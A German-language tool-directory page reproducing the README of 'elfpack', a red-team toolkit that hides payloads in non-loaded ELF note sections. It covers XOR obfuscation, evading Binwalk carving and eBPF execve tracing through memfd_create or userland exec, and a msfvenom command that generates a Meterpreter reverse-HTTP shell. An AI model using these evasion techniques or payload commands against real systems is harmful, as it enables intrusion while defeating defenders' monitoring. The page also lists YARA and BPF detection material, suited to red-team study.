Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
elfpack — ELF-Binärabschnitts-Andock-Toolkit für stageless Payload-Bereitstellung, das das Anhängen von Payloads vor Ort, Signaturumgehung und Widerstand gegen statisches/dynamisches Laden durch benutzerdefinierte ELF-Abschnittsmanipulation ermöglicht. | Kitploit
Tools/GitHubGitHub/dsnezhkov/elfpack
Payload-GenerierungExploitationMalware-AnalysePenetrationstestsBinäranalyseRed TeamingPayload-Entwicklung
GitHubdsnezhkov/elfpack

elfpack

ELF-Binärabschnitts-Andock-Toolkit für stageless Payload-Bereitstellung, das das Anhängen von Payloads vor Ort, Signaturumgehung und Widerstand gegen statisches/dynamisches Laden durch benutzerdefinierte ELF-Abschnittsmanipulation ermöglicht.

Repository anzeigen
5110vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ElfPack: ELF-Binärsektions-Docking für stufenlose Payload-Zustellung

Highlights

  • Überblick über Payload-Bündelungsmechanismen: Kompilierung, Linken und Laden.
  • Binäre Kompatibilität und Erstellung lose gekoppelter Payloads zu ihrem Auslieferungsmechanismus.
  • Vermeidung des automatischen Ladens von Sektionen in den Speicher.
  • Verwendung strukturierter Sektionstypen.
  • Vor-Ort-Payload-(Wieder-)Anfügung an Loader mittels ELF-Sektionen. Bring your own Payload.
  • Signaturumgehung mit getrennten vorkompilierten ELF-Sektionen.
  • Drive-by-Payload-Anfügungen an Loader mit Payload-Generierungspipeline.
  • Erstellung von fetten Payload-Binaries und die Begründung für die Vermeidung von Binärpackern.
  • Packen komplexer Payloads.
  • Payload-Verschleierungs- und Schlüsselschutzoptionen.
  • Widerstandsfähigkeit gegen statisches und dynamisches Payload-Lade-Tracing. Binwalk und eBPF.

Einbetten von Payloads

Hex-Binär-Inklusion mit Kompilierung und Linken

  1. Direkt in der Standard-Datensektion oder im Text: Normalerweise platziert der Compiler die von ihm generierten Objekte in Sektionen wie .data.

payload.h:

root@kitploit:~
const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

Manuell oder mit Werkzeugen wie bin2c oder xxd -i payload.bin > payload.h mit weiterer Header-Inklusion erreicht.

Das Speichern von Payloads in .text und .data auf generische Weise ist ebenfalls eine schlechte Idee aufgrund der einfachen Nachverfolgbarkeit des Ladens und der Introspektion des Verhaltenssemantik beim Laden von Daten zur Ausführung.

  1. In einer separaten Sektion. Sie können Payload-Daten in zusätzlichen Sektionen platzieren, oder Sie benötigen bestimmte Variablen, die in speziellen Sektionen erscheinen sollen. Dies wird mit einem compilerabhängigen Mechanismus erreicht. Bei gcc geschieht dies über __attribute__'s. Dies ist etwas besser, aber aufgrund der Art und Weise, wie ELF erstellt und geladen wird, immer noch gut nachverfolgbar.
root@kitploit:~
char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Stack pointer initialisieren */
    init_sp (stack + sizeof (stack));

    /* initialisierte Daten initialisieren */
    memcpy (&init_data, &data, &edata - &data);
}
  1. Linker-Binär-Inklusion

Eine assemblerabhängige .incbin-ähnliche Direktive kann eine Sektion erstellen und einen Payload einbetten. Bsp.: gcc -c payload.s oder ld -r -b payload.bin -o payload.o

root@kitploit:~
.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

Mit weiterem Abruf im Loader als:

root@kitploit:~
int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

Hinweis: Wir können ein voll funktionsfähiges ELF in der payload.bin einbinden, was wichtig ist, wenn es um die Erstellung "fetter" Binaries geht, die Elemente mehrerer Toolkits enthalten.

Hinweis: Ergonomischere Werkzeuge existieren, um die Aufgabe zu erledigen, wie INCBIN von @graphitemaster [Link]

Eine Variation des Themas ist Inline-ASM wie folgt:

root@kitploit:~
/* Raw image data for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Image structures for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

Hinweis: Beachten Sie PROGBITS in der Definition einer Sektion, es wird wichtig sein.

Compiler-/Linker-basierte Payload-Binär-Inklusion ist nicht ideal

Es gibt Kompromisse:

  • Der Einbettungsprozess ist eng mit der Erstellung des Payload-Loaders gekoppelt.
  • Was ist mit Änderungen des Payload-Formats?
  • Standardmäßig haben datentragende Sektionen das PROGBITS-Flag gesetzt, und sie werden standardmäßig vom OS-Loader per PT_LOAD in den Speicher geladen. Das wollen wir vielleicht nicht.

ELF-Datenträger-/Speicherdarstellung einer Sektion

ELF PROGBITS Diagramm

Der Typ der Sektion und die Flags, die auf der neuen Sektion gesetzt sind, die den Payload enthält, bestimmen, ob der OS-Loader sie beim Start des ausführbaren Programms in den Speicher lädt. Manche Sektionen werden standardmäßig automatisch geladen, andere nicht (z. B. .symtab, .strtab).

Aus Angreifersicht, welche Effizienzen können wir daraus ziehen?

Einbetten von Payloads: Version 2

  1. Wir können vermeiden, Flags auf Sektionen zu setzen, die ein standardmäßiges Laden in den Speicher voraussetzen.

  2. Wir können einen anderen Sektionstyp verwenden, der nicht in den Speicher lädt.

Ein Anbieter oder Systemingenieur muss möglicherweise eine Objektdatei mit speziellen Informationen markieren, die andere Programme auf Konformität oder Kompatibilität prüfen können. Sektionen vom Typ SHT_NOTE und Programm-Header-Elemente vom Typ PT_NOTE können für diesen Zweck verwendet werden.

Im letzteren Fall sehen wir die Verwendung dieses Sektionstyps in System-Binaries:

root@kitploit:~
$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

Und können ihren Inhalt inspizieren:

root@kitploit:~
$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

Das Endergebnis der Erstellung einer SHT_NOTE-Sektion wird im ELF wie folgt aussehen: SHT_NOTE

Bonus: SHT_NOTE gibt uns eine Struktur, falls wir sie benötigen (und wir werden sie später verwenden):

SHT_NOTE Struktur

ELF-Sektions-Docking

Bisher konnten wir eine Sektion erstellen und vermeiden, dass sie vom OS-Loader in den Speicher geladen wird. Die Sektion liegt im ELF-Image momentan faktisch ruhend. Wie wir sie laden, besprechen wir etwas später. Eine dringendere Frage ist jedoch die Tatsache, dass wir immer noch auf Compiler- und Linker-Ebene operieren, und die Sektion ist ein Objekt, das in die Struktur des endgültigen ELF eingewebt wird, wodurch Beziehungen und Speicheradressen aus dem Loader-Code entstehen, der auf ihren Inhalt verweist.

SHT_NOTE Struktur

Was, wenn wir in der Lage wären, eine ELF-Sektion mit eingebettetem Payload außerhalb des Loader-Kompilierungsworkflows zu erstellen und diese Sektion zu einem späteren Zeitpunkt an die Loader-Binär anzuhängen? Dies würde die Beziehung des Loader-Codes zur Sektionsinteraktion aufbrechen. Dann bringen wir dem Loader bei, wie er seine fremde Datensektion findet und lädt, wodurch ein Payload effektiv lose gekoppelt an einen Loader "angedockt" wird.

Konzeptionell wären unsere Ziele:

  • Der Loader sollte nicht mit der Semantik des Payloads verwickelt sein
  • Laden und Ausführen des Payloads:
    • Ohne den Loader-Code überhaupt zu ändern?
    • Ohne den OS-Loader ld.so (ELF-Loader) zu verwenden, der Segmente des Payloads automatisch in den Speicher lädt.
  • Vor-Ort-Payload-(Wieder-)Anfügung.

Die Beziehung zwischen Loader und Payload (in der Sektion) würde nun so aussehen:

Loader/Payload-Beziehung

Wir können dann einen Injektor erstellen, der eine Payload-Sektion in den Loader einführt, ohne dass einer von beiden auf Code-Ebene operiert, nur binäre Kompatibilität (und der Loader weiß, wie er jede Payload-Sektion lädt).

ELF-Injektor

Einige Ergebnisse aus diesem generischen ELF-Sektions-Docking-Setup:

  1. Der statische ELF-Loader kann dann eigenständig ausgeliefert werden, ohne Payloads, nur mit Mechanismen, um bei Bedarf eine Sektion zu laden und den Payload daraus zu booten.

  2. Der Payload kann separat verpackt und jederzeit als statische Stufe mit dem Loader gebündelt oder später mit einem Injektor hinzugefügt werden. Der Payload kann oft verschlüsselt sein, oft selbst ein ELF-ausführbares Programm sein, solange der Loader nicht die Struktur des Payloads kennt, sondern nur seine Verpackungsfähigkeiten.

  3. Der Injektor kann die Anfügung von Sektionen aus mehreren Binaries (ruhende Stufen) vermitteln, um eine Sektion zu konstruieren und in den Loader zu injizieren.

  4. Es gibt Vorteile für die Sektionsebene-Konstruktion gegenüber dem Packen mehrerer Ressourcen in eine ausführbare Datei. Es gibt keinen Erkennungs-Overhead für Packer-Verarbeitung und -Code. Es gibt Gewinne beim Transport mehrerer Sektionen mit anderer Tooling, das auf In-Memory-Start angewiesen ist und nicht einfach gepackt werden kann, weil Packer Binaries ins Dateisystem extrahieren müssen. (Weiteres zur "Fett-Binaries"-Sektion)

ELF-Docking-Komponenten:

Lassen Sie uns die ELF-Sektions-Docking-Komponenten genauer besprechen.

Sektionaler ELF-Injektor:

Disposition: hinten oder vor Ort Vorteile:

  • Loader-unabhängiger Payload-Proxy
  • Optimierte Payload-Generierungspipeline
  • Vor-Ort-Payload-an-Loader-Anfügung ohne Compiler bei Bedarf

Sektionaler ELF-Loader:

Disposition: vor Ort Vorteile:

  • Unabhängig vom angehängten Payload
  • Lädt vollständige ELFs oder Shellcode (mehr Möglichkeiten) durch Lesen und Parsen seiner eigenen Binärdatei.
  • Falls Sie Shellcode benötigen, können Sie daraus ein laufendes ELF erstellen (z. B. Metasploits Mettle)
  • Tracing sieht keine mprotect()-Aufrufe
  • Luftspalt zwischen dem Ort des Payloads und normalen .DATA-Arrays.
  • Dies erreicht eine Abstraktion für Tracer.
  • Fähigkeit, Argumente an Payloads selbst zu akzeptieren und weiterzuleiten

Binärer Payload:

Vorteile:

  • Der Payload ist ein voll funktionsfähiges Programm mit weniger Einschränkungen, Daten, Segmente (LDD intakt).
  • Es kann einzigartig verschleiert werden ohne Rücksicht auf Speicherplatz (.NOTE-Einträge sind variabel groß)
  • Es kann ins Dateisystem extrahiert oder als Teil eines Inhaltsverzeichnisses (Fett-Payload-Loader) ausgeführt werden.
  • Es muss nicht reloziert werden, kann an andere Loader angekettet werden.
  • Beispiel für Kreuzanfügung und Erkennungsumgehung: Loader A liest den Payload von Loader B.

Umgehungsmöglichkeiten

Stärkung des sektionalen ELF-Injektors/Packers:

  • XOR-verschlüsselter Payload, aber AES könnte implementiert werden.
  • XOR-Schlüssel-Metadaten, die außerhalb des Bandes in einem Wasserzeichen gespeichert werden.
  • XOR-Schlüssel werden nicht offengelegt.
  • Zusätzliche XOR-Datenverschleierung möglich.

Stärkung des ELF-Loaders:

  • XOR-verschlüsselter Payload standardmäßig, aber AES könnte implementiert werden.
  • XOR-Schlüssel-Metadaten werden aus einem Out-of-Band-Wasserzeichen extrahiert.
  • Trennung von Zeitpunkt des Loader-Starts != Zeitpunkt des Payload-Ladens bei Bedarf.
  • Möglichkeit zur Daemonisierung (Fähigkeit, mit Userland-Exec und memfd_create zu arbeiten)
  • Möglichkeit der Umgehung für Payload-Entropieberechnung und Anti-Carving: Binwalk sieht den Payload standardmäßig nicht, kann nicht carven (Beispiel in Demo: Packen eines msfvenom-Payloads)

Diskussion zum ELF-Sektions-Docking-Toolkit-spezifischen Loader:

Ein paar Worte zum sektionalen ELF-Loader in Zusammenarbeit mit dem Payload-Launcher:

Der Loader kann einen von zwei In-Memory-Payload-Ausführungsmechanismen nutzen:

  • Option A : SYS_Memfd_create ()

    • Mit libreflect[Link] umgesetzt, aber möglicherweise auch mit Zombieant-Preloader[Link]
    • Auf verschiedenen Ebenen besser erkennbar: j anonyme Datei in /proc/self/fd/
      • verwendet sys_memfd_create (Syscall #319)
    • Führt fork/exec aus, BPF-Tracing für execve() wird aufgezeichnet.
  • Option B: Userland Exec (https://grugq.github.io/docs/ul_exec.txt)

    • Im Moment mit libreflect umgesetzt. Nette Schnittstelle.
    • Höhlt den Loader aus und überlagert ihn mit dem Payload.
    • Keine sys_enter_exec/sys_exit_exec-Aufrufe. BPF-Tracing für execve() fängt nichts
    • Nachteil: Sie können nicht über den Loader daemonisieren (Loader-Speicher ist bei Überlagerung kaputt) aber der Payload kann sich selbst daemonisieren, wenn er startet: die Schönheit des Auslieferns von ELF-Binaries gegenüber Shellcode 

Workflow-Ablauf: ELF-Injektor ELF-Injektor

Binwalks Umgehungsmöglichkeiten nach sektionalem ELF-Payload vs. MSF-Payload: ELF-Injektor

eBPF-Umgehung vs. sektionaler ELF-Packer: ELF-Injektor

Erkennungswerkzeuge:

YARA-Verifizierer und Tests: ELF-Injektor

ELF-Injektor

STIX-Werkzeugdefinition:

ELF-Injektor

Erstellen des ELFPack-POC

  • Für CMake: Führen Sie vor dem sauberen Build cmake --configure . aus, um Ihre Build-Umgebung zu konfigurieren. Wir unterstützen derzeit CMake 3.18.
  • ./build.sh

ELFPack-Abhängigkeiten:

  • Wir verwenden die libreflect-Bibliothek für dieses POC von https://github.com/rapid7/mettle
  • Sie wird für Sie erstellt und unter vendor/lib/reflect/libreflect.a verteilt, kann aber bei Bedarf aus dem Original-Repository neu erstellt werden.
  • Laufzeit: Wenn Sie mit BPF und bpftrace experimentieren möchten, installieren Sie bitte die entsprechenden Kernel-Header für Ihre Distribution.

Verwendung

  • Frontend: Siehe run.sh
  • Backend: Dieses PoC arbeitet mit dem Mettle-Metasploit-Implantat, um Ihren Datenverkehr auf dem MSF-Server abzufangen, verwenden Sie die aux/msfrc-RC-Datei wie folgt:
root@kitploit:~
msfconsole -r aux/triage/msfrc
  • Der MSF-Payload (Mettle) kann wie folgt generiert werden:
root@kitploit:~
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf
  • BPF-Tracing kann wie folgt durchgeführt werden (Sie benötigen Root):
root@kitploit:~
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
  • Ein YARA-Integrationsbeispiel über Python-Bindungen ist in aux/triage/elfpack_yar.py zu sehen.
root@kitploit:~
./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]
Tool herunterladen